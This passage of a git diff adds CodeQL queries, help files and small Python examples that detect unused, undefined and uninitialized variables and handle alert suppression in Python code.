    In this example, the for loop iteration variable x is never used. It appears that the +original test function was used to test TypeA and was subsequently modified to test TypeB as well. +

    + +

    +It is likely that the change from x = TypeA() to x = t() was forgotten. The fixed version is shown below. +

    + + +
    + +
  • Python Language Reference: The for statement.
  • +
  • Python Tutorial: For statements.
  • +
    +
    diff --git a/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariable.ql b/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariable.ql new file mode 100644 index 00000000000..4fbfd1a42a9 --- /dev/null +++ b/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariable.ql @@ -0,0 +1,126 @@ +/** + * @name Suspicious unused loop iteration variable + * @description A loop iteration variable is unused, which suggests an error. + * @kind problem + * @tags maintainability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/unused-loop-variable + */ + +import python +import Definition + +predicate is_increment(Stmt s) { + /* x += n */ + s.(AugAssign).getValue() instanceof IntegerLiteral + or + /* x = x + n */ + exists(Name t, BinaryExpr add | + t = s.(AssignStmt).getTarget(0) and + add = s.(AssignStmt).getValue() and + add.getLeft().(Name).getVariable() = t.getVariable() and + add.getRight() instanceof IntegerLiteral + ) +} + +predicate counting_loop(For f) { + is_increment(f.getAStmt()) +} + +predicate empty_loop(For f) { + not exists(f.getStmt(1)) and f.getStmt(0) instanceof Pass +} + +predicate one_item_only(For f) { + not exists(Continue c | f.contains(c)) and + exists(Stmt s | + s = f.getBody().getLastItem() | + s instanceof Return + or + s instanceof Break + ) +} + +predicate points_to_call_to_range(ControlFlowNode f) { + /* (x)range is a function in Py2 and a class in Py3, so we must treat it as a plain object */ + exists(Object range, Object call | + range = builtin_object("range") or + range = builtin_object("xrange") + | + f.refersTo(call) and + call.(CallNode).getFunction().refersTo(range) + ) + or + /* In case points-to fails due to 'from six.moves import range' or similar. */ + exists(string range | + f.getNode().(Call).getFunc().(Name).getId() = range | + range = "range" or range = "xrange" + ) + or + /* If range is wrapped in a list it is still a range */ + exists(CallNode call | + f.refersTo(call) and + call = theListType().getACall() and + points_to_call_to_range(call.getArg(0)) + ) +} + +/** Whether n is a use of a variable that is a not effectively a constant. */ +predicate use_of_non_constant(Name n) { + exists(Variable var | + n.uses(var) and + /* use is local */ + not n.getScope() instanceof Module and + /* variable is not global */ + not var.getScope() instanceof Module | + /* Defined more than once (dynamically) */ + strictcount(Name def | def.defines(var)) > 1 or + exists(For f, Name def | f.contains(def) and def.defines(var)) or + exists(While w, Name def | w.contains(def) and def.defines(var)) + ) +} + +/** Whether loop body is implicitly repeating something N times. + * E.g. queue.add(None) + */ +predicate implicit_repeat(For f) { + not exists(f.getStmt(1)) and + exists(ImmutableLiteral imm | + f.getStmt(0).contains(imm) + ) and + not exists(Name n | f.getBody().contains(n) and use_of_non_constant(n)) +} + +/** Get the CFG node for the iterable relating to the for-statement `f` in a comprehension. + * The for-statement `f` is the artificial for-statement in a comprehension + * and the result is the iterable in that comprehension. + * E.g. gets `x` from `{ y for y in x }`. + */ +ControlFlowNode get_comp_iterable(For f) { + exists(Comp c | + c.getFunction().getStmt(0) = f | + c.getAFlowNode().getAPredecessor() = result + ) +} + +from For f, Variable v, string msg + +where f.getTarget() = v.getAnAccess() and + not f.getAStmt().contains(v.getAnAccess()) and + not points_to_call_to_range(f.getIter().getAFlowNode()) and + not points_to_call_to_range(get_comp_iterable(f)) and + not name_acceptable_for_unused_variable(v) and + not f.getScope().getName() = "genexpr" and + not empty_loop(f) and + not one_item_only(f) and + not counting_loop(f) and + not implicit_repeat(f) and + if exists(Name del | del.deletes(v) and f.getAStmt().contains(del)) then + msg = "' is deleted, but not used, in the loop body." + else + msg = "' is not used in the loop body." + +select f, "For loop variable '" + v.getId() + msg diff --git a/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariableFixed.py b/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariableFixed.py new file mode 100644 index 00000000000..f28c276a626 --- /dev/null +++ b/python/ql/src/Variables/SuspiciousUnusedLoopIterationVariableFixed.py @@ -0,0 +1,6 @@ + +# +def test(): + for t in [TypeA, TypeB]: + x = t + run_test(x) diff --git a/python/ql/src/Variables/Undefined.qll b/python/ql/src/Variables/Undefined.qll new file mode 100644 index 00000000000..eca28fe9aa5 --- /dev/null +++ b/python/ql/src/Variables/Undefined.qll @@ -0,0 +1,138 @@ +import python +import Loop +import semmle.python.security.TaintTracking + +/** Marker for "uninitialized". */ +class Uninitialized extends TaintKind { + + Uninitialized() { this = "undefined" } + +} + +/** A source of an uninitialized variable. + * Either the start of the scope or a deletion. + */ +class UninitializedSource extends TaintedDefinition { + + UninitializedSource() { + exists(FastLocalVariable var | + this.getSourceVariable() = var and + not var.escapes() | + this instanceof ScopeEntryDefinition + or + this instanceof DeletionDefinition + ) + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof Uninitialized + } + +} + +/** A loop where we are guaranteed (or is at least likely) to execute the body at least once. + */ +class AtLeastOnceLoop extends DataFlowExtension::DataFlowVariable { + + AtLeastOnceLoop() { + loop_entry_variables(this, _) + } + + /* If we are guaranteed to iterate over a loop at least once, then we can prune any edges that + * don't pass through the body. + */ + override predicate prunedSuccessor(EssaVariable succ) { + loop_entry_variables(this, succ) + } + +} + +private predicate loop_entry_variables(EssaVariable pred, EssaVariable succ) { + exists(PhiFunction phi, BasicBlock pb | + loop_entry_edge(pb, phi.getBasicBlock()) and + succ = phi.getVariable() and + pred = phi.getInput(pb) + ) +} + +private predicate loop_entry_edge(BasicBlock pred, BasicBlock loop) { + pred = loop.getAPredecessor() and + pred = loop.getImmediateDominator() and + exists(Stmt s | + loop_probably_executes_at_least_once(s) and + s.getAFlowNode().getBasicBlock() = loop + ) +} + +class UnitializedSanitizer extends Sanitizer { + + UnitializedSanitizer() { this = "use of variable" } + + override + predicate sanitizingDefinition(TaintKind taint, EssaDefinition def) { + // An assignment cannot leave a variable uninitialized + taint instanceof Uninitialized and + ( + def instanceof AssignmentDefinition + or + def instanceof ExceptionCapture + or + def instanceof ParameterDefinition + or + /* A use is a "sanitizer" of "uninitialized", as any use of an undefined + * variable will raise, making the subsequent code unreacahable. + */ + exists(def.(EssaNodeRefinement).getInput().getASourceUse()) + or + exists(def.(PhiFunction).getAnInput().getASourceUse()) + or + exists(def.(EssaEdgeRefinement).getInput().getASourceUse()) + ) + } + + override + predicate sanitizingNode(TaintKind taint, ControlFlowNode node) { + taint instanceof Uninitialized and + exists(EssaVariable v | + v.getASourceUse() = node and + not first_use(node, v) + ) + } + +} + +/** Since any use of a local will raise if it is uninitialized, then + * any use dominated by another use of the same variable must be defined, or is unreachable. + */ +private predicate first_use(NameNode u, EssaVariable v) { + v.getASourceUse() = u and + not exists(NameNode other | + v.getASourceUse() = other and + other.strictlyDominates(u) + ) +} + +/* Holds if `call` is a call of the form obj.method_name(...) and + * there is a function called `method_name` that can exit the program. + */ +private predicate maybe_call_to_exiting_function(CallNode call) { + exists(FunctionObject exits, string name | + exits.neverReturns() and exits.getName() = name + | + call.getFunction().(NameNode).getId() = name or + call.getFunction().(AttrNode).getName() = name + ) +} + +/** Prune edges where the predecessor block looks like it might contain a call to an exit function. */ +class ExitFunctionGuardedEdge extends DataFlowExtension::DataFlowVariable { + + predicate prunedSuccessor(EssaVariable succ) { + exists(CallNode exit_call | + succ.(PhiFunction).getInput(exit_call.getBasicBlock()) = this and + maybe_call_to_exiting_function(exit_call) + ) + } + +} + diff --git a/python/ql/src/Variables/UndefinedExport.py b/python/ql/src/Variables/UndefinedExport.py new file mode 100644 index 00000000000..1d1834854f7 --- /dev/null +++ b/python/ql/src/Variables/UndefinedExport.py @@ -0,0 +1,5 @@ +__all__ = ['spamm', 'troll', 'paywall'] + +def spam(): return 'Spam' +def troll(): return 'Troll' +def paywall(): return 'Pay wall' diff --git a/python/ql/src/Variables/UndefinedExport.qhelp b/python/ql/src/Variables/UndefinedExport.qhelp new file mode 100644 index 00000000000..f053de5048d --- /dev/null +++ b/python/ql/src/Variables/UndefinedExport.qhelp @@ -0,0 +1,37 @@ + + + + +

    When a module is imported using import *, all attributes listed in +__all__ are imported. If __all__ includes attributes that +are not defined in the module then an exception is triggered. This usually indicates +a typographic error in the attributes in __all__ or in the name of the +object.

    + +
    + + +

    Correct any typographic errors, either in the name of the object or in the string in +__all__. If there are no typographic errors, either delete the name from +__all__ or add the object to the module.

    + +
    + +

    +In the example, the function name spam has been misspelled in the __all__ list. +This will result in spamm being highlighted as an undefined export. +Correcting the spelling will fix the defect. +

    + + +
    + + +
  • Python Language Reference: The import statement.
  • +
  • Python Tutorial: Importing * from a Package.
  • + + +
    +
    diff --git a/python/ql/src/Variables/UndefinedExport.ql b/python/ql/src/Variables/UndefinedExport.ql new file mode 100644 index 00000000000..7ec2647a209 --- /dev/null +++ b/python/ql/src/Variables/UndefinedExport.ql @@ -0,0 +1,52 @@ +/** + * @name Explicit export is not defined + * @description Including an undefined attribute in __all__ causes an exception when + * the module is imported using '*' + * @kind problem + * @tags reliability + * maintainability + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/undefined-export + */ + +import python + +/** Whether name is declared in the __all__ list of this module */ +predicate declaredInAll(Module m, StrConst name) +{ + exists(Assign a, GlobalVariable all | + a.defines(all) and a.getScope() = m and + all.getId() = "__all__" and ((List)a.getValue()).getAnElt() = name + ) +} + +predicate mutates_globals(PythonModuleObject m) { + exists(CallNode globals | + globals = theGlobalsFunction().(FunctionObject).getACall() and + globals.getScope() = m.getModule() | + exists(AttrNode attr | attr.getObject() = globals) + or + exists(SubscriptNode sub | sub.getValue() = globals and sub.isStore()) + ) + or + exists(Object enum_convert | + enum_convert.hasLongName("enum.Enum._convert") and + exists(CallNode call | + call.getScope() = m.getModule() + | + enum_convert.(FunctionObject).getACall() = call or + call.getFunction().refersTo(enum_convert) + ) + ) +} + +from PythonModuleObject m, StrConst name, string exported_name +where declaredInAll(m.getModule(), name) and +exported_name = name.strValue() and +not m.hasAttribute(exported_name) and +not (m.getShortName() = "__init__" and exists(m.getPackage().getModule().getSubModule(exported_name))) and +not exists(ImportStarNode imp | imp.getEnclosingModule() = m.getModule() | not imp.getModule().refersTo(_)) and +not mutates_globals(m) +select name, "The name '" + exported_name + "' is exported by __all__ but is not defined." \ No newline at end of file diff --git a/python/ql/src/Variables/UndefinedGlobal.py b/python/ql/src/Variables/UndefinedGlobal.py new file mode 100644 index 00000000000..cfbff8bfacb --- /dev/null +++ b/python/ql/src/Variables/UndefinedGlobal.py @@ -0,0 +1,12 @@ +import math + +angle = 0.01 + +sin(angle) # NameError: name 'sin' is not defined (function imported from 'math') + +math.sin(angle) # 'sin' function now correctly defined + +math.tan(angel) # NameError: name 'angel' not defined (typographic error) + +math.tan(angle) # Global variable now correctly defined + diff --git a/python/ql/src/Variables/UndefinedGlobal.qhelp b/python/ql/src/Variables/UndefinedGlobal.qhelp new file mode 100644 index 00000000000..f77a96aad19 --- /dev/null +++ b/python/ql/src/Variables/UndefinedGlobal.qhelp @@ -0,0 +1,36 @@ + + + + +

    This global variable may not be defined. +If this code is executed and the variable is undefined then a NameError will occur. +

    + +
    + + +

    Check that the name of the global variable is not a typographic error. If the name is correct +then define the variable or import the module that defines the function or method.

    + +

    If it is expected this variable will be initialized from another module before it is used, then the NameError may not occur. +Nonetheless, the code will be more robust and clearer if the variable is set to a default value in its own module. +

    + +
    + +

    The following examples show two different examples of undefined "global variables".

    + + + + +
    + + +
  • Python Standard Library: NameError.
  • +
  • The Python Tutorial: Modules.
  • + + +
    +
    diff --git a/python/ql/src/Variables/UndefinedGlobal.ql b/python/ql/src/Variables/UndefinedGlobal.ql new file mode 100644 index 00000000000..6e1b3d36429 --- /dev/null +++ b/python/ql/src/Variables/UndefinedGlobal.ql @@ -0,0 +1,132 @@ +/** + * @name Use of an undefined global variable + * @description Using a global variable before it is initialized causes an exception. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision low + * @id py/undefined-global-variable + */ + +import python +import Variables.MonkeyPatched +import Loop +import semmle.python.pointsto.PointsTo + +predicate guarded_against_name_error(Name u) { + exists(Try t | t.getBody().getAnItem().contains(u) | + ((Name)((ExceptStmt)t.getAHandler()).getType()).getId() = "NameError" + ) + or + exists(ConditionBlock guard, BasicBlock controlled, Call globals | + guard.getLastNode().getNode().contains(globals) or + guard.getLastNode().getNode() = globals | + globals.getFunc().(Name).getId() = "globals" and + guard.controls(controlled, _) and + controlled.contains(u.getAFlowNode()) + ) +} + +predicate contains_unknown_import_star(Module m) { + exists(ImportStar imp | imp.getScope() = m | + not exists(ModuleObject imported | imported.importedAs(imp.getImportedModuleName())) + or + exists(ModuleObject imported | + imported.importedAs(imp.getImportedModuleName()) | + not imported.exportsComplete() + ) + ) +} + +predicate undefined_use_in_function(Name u) { + exists(Function f | u.getScope().getScope*() = f and + /* Either function is a method or inner function or it is live at the end of the module scope */ + (not f.getScope() = u.getEnclosingModule() or ((ImportTimeScope)u.getEnclosingModule()).definesName(f.getName())) + and + /* There is a use, but not a definition of this global variable in the function or enclosing scope */ + exists(GlobalVariable v | u.uses(v) | + not exists(Assign a, Scope defnScope | + a.getATarget() = v.getAnAccess() and a.getScope() = defnScope | + defnScope = f or + /* Exclude modules as that case is handled more precisely below. */ + (defnScope = f.getScope().getScope*() and not defnScope instanceof Module) + ) + ) + ) + and + not ((ImportTimeScope)u.getEnclosingModule()).definesName(u.getId()) + and + not exists(ModuleObject m | m.getModule() = u.getEnclosingModule() | m.hasAttribute(u.getId())) + and + not globallyDefinedName(u.getId()) + and + not exists(SsaVariable var | var.getAUse().getNode() = u and not var.maybeUndefined()) + and + not guarded_against_name_error(u) + and + not (u.getEnclosingModule().isPackageInit() and u.getId() = "__path__") +} + +predicate undefined_use_in_class_or_module(Name u) { + exists(GlobalVariable v | u.uses(v)) + and + not exists(Function f | u.getScope().getScope*() = f) + and + exists(SsaVariable var | var.getAUse().getNode() = u | var.maybeUndefined()) + and + not guarded_against_name_error(u) + and + not exists(ModuleObject m | m.getModule() = u.getEnclosingModule() | m.hasAttribute(u.getId())) + and + not (u.getEnclosingModule().isPackageInit() and u.getId() = "__path__") + and + not globallyDefinedName(u.getId()) +} + +predicate use_of_exec(Module m) { + exists(Exec exec | exec.getScope() = m) + or + exists(CallNode call, FunctionObject exec | + exec.getACall() = call and call.getScope() = m | + exec = builtin_object("exec") or + exec = builtin_object("execfile") + ) +} + +predicate undefined_use(Name u) { + ( + undefined_use_in_class_or_module(u) + or + undefined_use_in_function(u) + ) and + not monkey_patched_builtin(u.getId()) and + not contains_unknown_import_star(u.getEnclosingModule()) and + not use_of_exec(u.getEnclosingModule()) and + not exists(u.getVariable().getAStore()) and + not u.refersTo(_) and + not probably_defined_in_loop(u) +} + +private predicate first_use_in_a_block(Name use) { + exists(GlobalVariable v, BasicBlock b, int i | + i = min(int j | b.getNode(j).getNode() = v.getALoad()) and b.getNode(i) = use.getAFlowNode() + ) +} + +predicate first_undefined_use(Name use) { + undefined_use(use) and + exists(GlobalVariable v | + v.getALoad() = use | + first_use_in_a_block(use) and + not exists(ControlFlowNode other | + other.getNode() = v.getALoad() and + other.getBasicBlock().strictlyDominates(use.getAFlowNode().getBasicBlock()) + ) + ) +} + +from Name u +where first_undefined_use(u) +select u, "This use of global variable '" + u.getId() + "' may be undefined." diff --git a/python/ql/src/Variables/UndefinedPlaceHolder.qhelp b/python/ql/src/Variables/UndefinedPlaceHolder.qhelp new file mode 100644 index 00000000000..726ac86a386 --- /dev/null +++ b/python/ql/src/Variables/UndefinedPlaceHolder.qhelp @@ -0,0 +1,29 @@ + + + + +

    This place-holder variable may not be defined. +If this code is executed and the variable is undefined then a NameError will occur. +

    + +
    + + +

    Check that the name of the place-holder variable is not a typographic error. +If the name is correct, either define a value for the variable, or import the module that defines the function or method that sets the value. +

    + +

    If another module initializes this variable before it is used, then the NameError may not occur. +However, you can make the code more robust and clearer by setting the variable to a default value in its own module. +

    + +
    + + + +
  • Python Standard Library: NameError.
  • + +
    +
    diff --git a/python/ql/src/Variables/UndefinedPlaceHolder.ql b/python/ql/src/Variables/UndefinedPlaceHolder.ql new file mode 100644 index 00000000000..f3eb960045c --- /dev/null +++ b/python/ql/src/Variables/UndefinedPlaceHolder.ql @@ -0,0 +1,54 @@ +/** + * @name Use of an undefined placeholder variable + * @description Using a variable before it is initialized causes an exception. + * @kind problem + * @problem.severity error + * @sub-severity low + * @precision medium + * @id py/undefined-placeholder-variable + */ + +import python +import Variables.MonkeyPatched + +/* Local variable part */ + +predicate initialized_as_local(PlaceHolder use) { + exists(SsaVariable l, Function f | f = use.getScope() and l.getAUse() = use.getAFlowNode() | + l.getVariable() instanceof LocalVariable and + not l.maybeUndefined() + ) +} + +/* Not a template member */ + +Class enclosing_class(PlaceHolder use) { + result.getAMethod() = use.getScope() +} + +predicate template_attribute(PlaceHolder use) { + exists(ImportTimeScope cls | + cls = enclosing_class(use) | + cls.definesName(use.getId()) + ) +} + +/* Global Stuff */ + +predicate not_a_global(PlaceHolder use) { + not exists(PythonModuleObject mo | mo.hasAttribute(use.getId()) and mo.getModule() = use.getEnclosingModule()) + and + not globallyDefinedName(use.getId()) and + not monkey_patched_builtin(use.getId()) and + not globallyDefinedName(use.getId()) +} + +from PlaceHolder p +where +not initialized_as_local(p) and +not template_attribute(p) and +not_a_global(p) +select p, "This use of place-holder variable '" + p.getId() + "' may be undefined" + + + diff --git a/python/ql/src/Variables/UninitializedLocal.py b/python/ql/src/Variables/UninitializedLocal.py new file mode 100644 index 00000000000..b079652e953 --- /dev/null +++ b/python/ql/src/Variables/UninitializedLocal.py @@ -0,0 +1,33 @@ +def test(): + var = 1 + def print_var(): + print var # Use variable from outer scope + print_var() + print var + + +def test1(): + var = 2 + def print_var(): + print var # Attempt to use variable from local scope. + var = 3 # Since this is not initialized yet, this results + print_var() # in an UnboundLocalError + print var + + +def test2(): + var = 2 + def print_var(): + var = 3 # Initialize local version of the variable + print var # Use variable from local scope. + print_var() # Note that this local variable "shadows" the variable from + print var # outer scope which makes code more difficult to interpret. + + +def test3(): + var = 4 + def print_var(): + nonlocal var # Use non-local variable from outer scope. + print var + print_var() + print var \ No newline at end of file diff --git a/python/ql/src/Variables/UninitializedLocal.qhelp b/python/ql/src/Variables/UninitializedLocal.qhelp new file mode 100644 index 00000000000..e9af644d682 --- /dev/null +++ b/python/ql/src/Variables/UninitializedLocal.qhelp @@ -0,0 +1,41 @@ + + + + + +

    This local variable may be used before it is defined. If a variable is assigned to in a function +and not explicitly declared global or nonlocal then it is assumed to be a +local variable. +If it is used before it is defined then an UnboundLocalError will be raised. +

    + +
    + + +

    Review the code and consider the intended scope of the variable. Determine whether the variable +should be global or local in scope. If a global variable is required then add a global +statement, or in Python 3 you can use a nonlocal statement if the variable occurs in an +enclosing function. Otherwise, ensure that the variable is defined before it is used.

    + +
    + +

    The following code includes different functions that use variables. test1() +fails with an UnboundLocalError because the local variable var is used +before it is initialized.

    + + + + +
    + + +
  • Python Standard Library: Built-in Exceptions: UnboundLocalError.
  • +
  • Python Frequently Asked Questions: Why am I getting an UnboundLocalError when the variable has a value?.
  • +
  • Python Course: Global and Local Variables.
  • +
  • Python Language Reference: The global statement, + The nonlocal statement.
  • + +
    +
    diff --git a/python/ql/src/Variables/UninitializedLocal.ql b/python/ql/src/Variables/UninitializedLocal.ql new file mode 100644 index 00000000000..2e01e2f7c3d --- /dev/null +++ b/python/ql/src/Variables/UninitializedLocal.ql @@ -0,0 +1,42 @@ +/** + * @name Potentially uninitialized local variable + * @description Using a local variable before it is initialized causes an UnboundLocalError. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision medium + * @id py/uninitialized-local-variable + */ + +import python +import Undefined + + +predicate uninitialized_local(NameNode use) { + exists(FastLocalVariable local | + use.uses(local) or use.deletes(local) | + not local.escapes() + ) + and + ( + any(Uninitialized uninit).taints(use) + or + not exists(EssaVariable var | var.getASourceUse() = use) + ) +} + +predicate explicitly_guarded(NameNode u) { + exists(Try t | + t.getBody().contains(u.getNode()) and + t.getAHandler().getType().refersTo(theNameErrorType()) + ) +} + + +from NameNode u +where uninitialized_local(u) and not explicitly_guarded(u) +select u.getNode(), "Local variable '" + u.getId() + "' may be used before it is initialized." + + diff --git a/python/ql/src/Variables/UnusedLocalVariable.py b/python/ql/src/Variables/UnusedLocalVariable.py new file mode 100644 index 00000000000..d0d46f0e1df --- /dev/null +++ b/python/ql/src/Variables/UnusedLocalVariable.py @@ -0,0 +1,11 @@ +import random + +def write_random_to_file(): + no = random.randint(1, 10) + with open("random.txt", "w") as file: + file.write(str(no)) + return no + +def write_random(): + random_no = write_random_to_file() + print "A random number was written to random.txt" \ No newline at end of file diff --git a/python/ql/src/Variables/UnusedLocalVariable.qhelp b/python/ql/src/Variables/UnusedLocalVariable.qhelp new file mode 100644 index 00000000000..e24b5d17464 --- /dev/null +++ b/python/ql/src/Variables/UnusedLocalVariable.qhelp @@ -0,0 +1,31 @@ + + + + +

    A local variable is defined (by an assignment) but never used. +

    + + + + +
    + +

    If the variable is included for documentation purposes or is otherwise intentionally unused, then change its name to indicate that it is unused, +otherwise delete the assignment (taking care not to delete right hand side if it has side effects).

    + +
    + +

    In this example, the random_no variable is never read but its assignment +has a side effect. Because of this it is important to remove only the left hand side of the +assignment in line 10.

    + + +
    + + +
  • Python: Assignment statements.
  • + +
    +
    diff --git a/python/ql/src/Variables/UnusedLocalVariable.ql b/python/ql/src/Variables/UnusedLocalVariable.ql new file mode 100644 index 00000000000..42f28c5e085 --- /dev/null +++ b/python/ql/src/Variables/UnusedLocalVariable.ql @@ -0,0 +1,34 @@ +/** + * @name Unused local variable + * @description Local variable is defined but not used + * @kind problem + * @tags maintainability + * useless-code + * external/cwe/cwe-563 + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/unused-local-variable + */ + +import python +import Definition + +predicate unused_local(Name unused, LocalVariable v) { + forex(Definition def | + def.getNode() = unused | + def.getVariable() = v and + def.isUnused() and + not exists(def.getARedef()) and + def.isRelevant() and + not exists(def.getNode().getParentNode().(FunctionDef).getDefinedFunction().getADecorator()) and + not exists(def.getNode().getParentNode().(ClassDef).getDefinedClass().getADecorator()) + ) +} + + +from Name unused, LocalVariable v +where unused_local(unused, v) and +// If unused is part of a tuple, count it as unused if all elements of that tuple are unused. +forall(Name el | el = unused.getParentNode().(Tuple).getAnElt() | unused_local(el, _)) +select unused, "The value assigned to local variable '" + v.getId() + "' is never used." diff --git a/python/ql/src/Variables/UnusedModuleVariable.py b/python/ql/src/Variables/UnusedModuleVariable.py new file mode 100644 index 00000000000..91bc0951848 --- /dev/null +++ b/python/ql/src/Variables/UnusedModuleVariable.py @@ -0,0 +1,9 @@ +import random + +def write_random_to_file(): + no = random.randint(1, 10) + with open("random.txt", "w") as file: + file.write(str(no)) + return no + +random_no = write_random_to_file() \ No newline at end of file diff --git a/python/ql/src/Variables/UnusedModuleVariable.qhelp b/python/ql/src/Variables/UnusedModuleVariable.qhelp new file mode 100644 index 00000000000..b5e57bf55ce --- /dev/null +++ b/python/ql/src/Variables/UnusedModuleVariable.qhelp @@ -0,0 +1,34 @@ + + + + +

    A global (module-level) variable is defined (by an assignment) but never used +and is not explicitly made public by inclusion in the __all__ list. +

    + + + + +
    + +

    If the variable is included for documentation purposes or is otherwise intentionally unused, then change its name to indicate that it is unused, +otherwise delete the assignment (taking care not to delete right hand side if it has side effects).

    + +
    + +

    In this example, the random_no variable is never read but its assignment +has a side effect. Because of this it is important to only remove the left hand side of the +assignment in line 9.

    + + +
    + + +
  • Python: Assignment statements, + The import statement.
  • +
  • Python Tutorial: Importing * from a package.
  • + +
    +
    diff --git a/python/ql/src/Variables/UnusedModuleVariable.ql b/python/ql/src/Variables/UnusedModuleVariable.ql new file mode 100644 index 00000000000..888b9546ce1 --- /dev/null +++ b/python/ql/src/Variables/UnusedModuleVariable.ql @@ -0,0 +1,62 @@ +/** + * @name Unused global variable + * @description Global variable is defined but not used + * @kind problem + * @tags efficiency + * useless-code + * external/cwe/cwe-563 + * @problem.severity recommendation + * @sub-severity low + * @precision high + * @id py/unused-global-variable + */ + +import python +import Definition + +/** Whether the module contains an __all__ definition, + * but it is more complex than a simple list of strings */ +predicate complex_all(Module m) { + exists(Assign a, GlobalVariable all | + a.defines(all) and a.getScope() = m and all.getId() = "__all__" | + not a.getValue() instanceof List or + exists(Expr e | + e = a.getValue().(List).getAnElt() | + not e instanceof StrConst + ) + ) + or + exists(Call c, GlobalVariable all | + c.getFunc().(Attribute).getObject() = all.getALoad() and + c.getScope() = m and all.getId() = "__all__" + ) +} + +predicate unused_global(Name unused, GlobalVariable v) { + not exists(ImportingStmt is | is.contains(unused)) and + forex(DefinitionNode defn | + defn.getNode() = unused | + not defn.getValue().getNode() instanceof FunctionExpr and + not defn.getValue().getNode() instanceof ClassExpr and + not exists(Name u | + // A use of the variable + u.uses(v) | + // That is reachable from this definition, directly + defn.strictlyReaches(u.getAFlowNode()) + or // indirectly + defn.getBasicBlock().reachesExit() and u.getScope() != unused.getScope() + ) and + not unused.getEnclosingModule().getAnExport() = v.getId() and + not exists(unused.getParentNode().(ClassDef).getDefinedClass().getADecorator()) and + not exists(unused.getParentNode().(FunctionDef).getDefinedFunction().getADecorator()) and + unused.defines(v) and + not name_acceptable_for_unused_variable(v) and + not complex_all(unused.getEnclosingModule()) + ) +} + +from Name unused, GlobalVariable v +where unused_global(unused, v) and +// If unused is part of a tuple, count it as unused if all elements of that tuple are unused. +forall(Name el | el = unused.getParentNode().(Tuple).getAnElt() | unused_global(el, _)) +select unused, "The global variable '" + v.getId() + "' is not used." diff --git a/python/ql/src/Variables/UnusedParameter.py b/python/ql/src/Variables/UnusedParameter.py new file mode 100644 index 00000000000..b0eee5e4f91 --- /dev/null +++ b/python/ql/src/Variables/UnusedParameter.py @@ -0,0 +1,5 @@ +import random + +def write_to_file(text, filename): + with open("log.txt", "w") as file: + file.write(text) diff --git a/python/ql/src/Variables/UnusedParameter.qhelp b/python/ql/src/Variables/UnusedParameter.qhelp new file mode 100644 index 00000000000..4fa34ba65ec --- /dev/null +++ b/python/ql/src/Variables/UnusedParameter.qhelp @@ -0,0 +1,30 @@ + + + + + + +

    A parameter is never used. +

    + + + +
    + + +

    Delete the parameter from the relevant function or method. +If that is not possible (due to overriding or similar) rename the parameter + as described above. + +

    + + +

    In this example the parameter filename is ignored which is misleading. + +

    + + +
    +
    diff --git a/python/ql/src/Variables/UnusedParameter.ql b/python/ql/src/Variables/UnusedParameter.ql new file mode 100644 index 00000000000..e27d151b72e --- /dev/null +++ b/python/ql/src/Variables/UnusedParameter.ql @@ -0,0 +1,31 @@ +/** + * @name Unused parameter + * @description Parameter is defined but not used + * @kind problem + * @tags maintainability + * @problem.severity recommendation + * @sub-severity high + * @precision medium + * @id py/unused-parameter + */ + +import python +import Definition + + +predicate unused_parameter(FunctionObject f, LocalVariable v) { + v.isParameter() and + v.getScope() = f.getFunction() and + not name_acceptable_for_unused_variable(v) and + not exists(NameNode u | u.uses(v)) and + not exists(Name inner, LocalVariable iv | inner.uses(iv) and iv.getId() = v.getId() and inner.getScope().getScope() = v.getScope()) +} + +predicate is_abstract(FunctionObject func) { + ((Name)func.getFunction().getADecorator()).getId().matches("%abstract%") +} + +from PyFunctionObject f, LocalVariable v +where v.getId() != "self" and unused_parameter(f, v) and not f.isOverridingMethod() and not f.isOverriddenMethod() and +not is_abstract(f) +select f, "The parameter '" + v.getId() + "' is never used." diff --git a/python/ql/src/Variables/UnusedTuple.qhelp b/python/ql/src/Variables/UnusedTuple.qhelp new file mode 100644 index 00000000000..e1fd8c54a92 --- /dev/null +++ b/python/ql/src/Variables/UnusedTuple.qhelp @@ -0,0 +1,12 @@ + + + + +

    Variables that are defined in a group, for example x, y = func() are handled collectively. +If they are all unused, then this is reported. Otherwise they are all treated as used. +

    + +
    +
    diff --git a/python/ql/src/Variables/UnusedVariableNaming.qhelp b/python/ql/src/Variables/UnusedVariableNaming.qhelp new file mode 100644 index 00000000000..f02a3fa2e38 --- /dev/null +++ b/python/ql/src/Variables/UnusedVariableNaming.qhelp @@ -0,0 +1,24 @@ + + + + +

    It is sometimes necessary to have a variable which is not used. +These unused variables should have distinctive names, to make it clear to readers of the code that they are deliberately not used. +The most common conventions for indicating this are to name the variable _ or to start the name of the +variable with unused or _unused. +

    + +

    +The query accepts the following names for variables that are intended to be unused: +

    +
      +
    • Any name consisting entirely of underscores.
    • +
    • Any name containing unused.
    • +
    • The names dummy or empty.
    • +
    • Any "special" name of the form __xxx__.
    • +
    + +
    +
    \ No newline at end of file diff --git a/python/ql/src/analysis/AlertSuppression.ql b/python/ql/src/analysis/AlertSuppression.ql new file mode 100644 index 00000000000..56622f005ca --- /dev/null +++ b/python/ql/src/analysis/AlertSuppression.ql @@ -0,0 +1,126 @@ +/** + * @name Alert suppression + * @description Generates information about alert suppressions. + * @kind alert-suppression + * @id py/alert-suppression + */ + +import python + +/** + * An alert suppression comment. + */ +abstract class SuppressionComment extends Comment { + + /** Gets the scope of this suppression. */ + abstract SuppressionScope getScope(); + + /** Gets the suppression annotation in this comment. */ + abstract string getAnnotation(); + + /** + * Holds if this comment applies to the range from column `startcolumn` of line `startline` + * to column `endcolumn` of line `endline` in file `filepath`. + */ + abstract predicate covers(string filepath, int startline, int startcolumn, int endline, int endcolumn); + +} + +/** + * An alert comment that applies to a single line + */ +abstract class LineSuppressionComment extends SuppressionComment { + + LineSuppressionComment() { + exists(string filepath, int l | + this.getLocation().hasLocationInfo(filepath, l, _, _, _) and + any(AstNode a).getLocation().hasLocationInfo(filepath, l, _, _, _) + ) + } + + /** Gets the scope of this suppression. */ + override SuppressionScope getScope() { 